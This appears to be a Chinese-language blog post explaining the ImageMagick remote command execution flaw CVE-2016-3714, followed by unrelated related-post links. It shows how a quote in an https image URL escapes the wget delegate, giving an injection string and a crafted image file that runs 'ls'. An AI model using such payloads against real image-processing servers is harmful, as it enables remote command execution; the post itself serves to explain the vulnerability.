ImageMagick Remote Command Execute
CVE ID: CVE-2016-3714
我挺纠结应该用中文写博客还是应该用英文写博客。英文吧作用挺明显的,可以锻炼自己的英语表达能力,但是可能会阻碍和一些英文不好的朋友交流。
It's upsetting to determine whether to write blog in English or in Chinese.Absolutely, I can train my capability of expression.But it may be in the way of communication of friends.
先拿中文写吧。
I will write in Chinese at present.
由于ImageMagick在Java/PHP/Python等库中应用广泛,所以在全世界各种网站中十分流行。因此这个RCE就十分严重了。
问题理解起来十分简单,ImageMagick在处理url为https开头的图片时,对于图片地址字符串没有进行过滤就直接放入system()执行,导致存在命令注入:
" <delegate decode=\"https\" command=\""wget" -q -O "%o" "https:%M"\"/>"
status=system(sanitize_command);
注意,%M是占位符,代表图片url。所以command实际上是:
"wget" -q -O "%o" "https:%M"
那么如果我们的图片url是类似于下面的:
https://example.com"|ls "-al
则command变成了:
"wget" -q -O "%o" "https://example.com" | ls "-al"
也就是说,引号被提前闭合了(跟基本的SQL注入很像吧)
在本地测试一下:
成功执行了ls -al
我们可以把命令写入一个图片中:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|ls "-la)'
pop graphic-context
保存为x.png:
End:
哎人艰不拆人艰不拆,你们这种漏洞真的好嘛 : )
ImageMagick Remote Command Execute的更多相关文章
- PowerShell vs. PsExec for Remote Command Execution
Posted by Jianpeng Mo / January 20, 2014 Monitoring and maintaining large-scale, complex, highly dis ...
- struts2 CVE-2012-0392 S2-008 Strict DMI does not work correctly allows remote command execution and arbitrary file overwrite
catalog . Description . Effected Scope . Exploit Analysis . Principle Of Vulnerability . Patch Fix 1 ...
- struts2 CVE-2010-1870 S2-005 XWork ParameterInterceptors bypass allows remote command execution
catalog . Description . Effected Scope . Exploit Analysis . Principle Of Vulnerability . Patch Fix 1 ...
- JMX/RMI Nice ENGAGE <= 6.5 Remote Command Execution
CVE ID : CVE-2019-7727 JMX/RMI Nice ENGAGE <= 6.5 Remote Command Execution description=========== ...
- [EXP]Jenkins 2.150.2 - Remote Command Execution (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://gith ...
- Android shell command execute Demo
package com.android.utils; import java.io.File; import java.io.IOException; import java.io.InputStre ...
- struts2 CVE-2013-2251 S2-016 action、redirect code injection remote command execution
catalog . Description . Effected Scope . Exploit Analysis . Principle Of Vulnerability . Patch Fix 1 ...
- struts2 CVE-2013-1965 S2-012 Showcase app vulnerability allows remote command execution
catalog . Description . Effected Scope . Exploit Analysis . Principle Of Vulnerability . Patch Fix 1 ...
- [EXP]Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://gith ...
随机推荐
- css 属性选择器
css2的属性选择器 1.[class~="flower"]:选中有flower的class class="flower ss" class="ss ...
- 15个优秀的 Material Design(材料设计)案例
Material Design (材料设计)是由谷歌创建和设计的一种设计语言,结合成功的设计的经典原则以及创新科技.谷歌的目标是开发一个设计系统,让所有的产品在任何平台上拥有统一的用户体验.全新的设计 ...
- 用node-webkit把web应用打包成桌面应用
node-webkit是一个Chromium和node.js上的结合体,通过它我们可以把建立在chrome浏览器和node.js上的web应用打包成桌面应用,而且还可以跨平台的哦.很显然比起传统的桌面 ...
- 【Bootstrap】2.作品展示站点
假设我们已经想好了要给自己的作品弄一个在线站点.一如既往,时间紧迫.我们需要快一点,但作品展示效果又必须专业.当然,站点还得是响应式的,能够在各种设备上正常浏览,因为这是我们向目标客户推销时的卖点.这 ...
- Kali Linux (XFce版本)安装后的一些设置
kali Linux的主版本自带的是Gnome桌面环境,安装后使用效率太低,不知道是不是我机器配置低的原因, 在虚拟机里运行起来太慢.卡.丑啦....所以以前都一直都在用Backbox Linux,并 ...
- 【转】扫盲 同步利器、分布式网盘--BT Sync
原文地址:http://program-think.blogspot.com/2015/01/BitTorrent-Sync.html先向大伙儿宣布个好消息——经过多位热心读者的大力支持,经过几天的努 ...
- JavaScript学习05 定时器
JavaScript学习05 定时器 定时器1 用以指定在一段特定的时间后执行某段程序. setTimeout(): 格式:[定时器对象名=] setTimeout(“<表达式>”,毫秒) ...
- 【iOS】小项目框架设计(ReactiveCocoa+MVVM+AFNetworking+FMDB)
上一个项目使用到了ReactiveCocoa+MVVM+AFNetworking+FMDB框架设计,从最初的尝试,到后来不断思考和学习,现在对这样一个整体设计还是有了一定了理解与心得.在此与大家分享下 ...
- 打电话、发短信、web以及发邮件
#import "ViewController.h" #import <MessageUI/MessageUI.h> //导入信息UI库 @interface View ...
- Swfit 字符与字符串
Swfit 字符与字符串 OC 定义字符 char charValue = 'a'; Swift 定义字符 var charValue:Character = "a" Unicod ...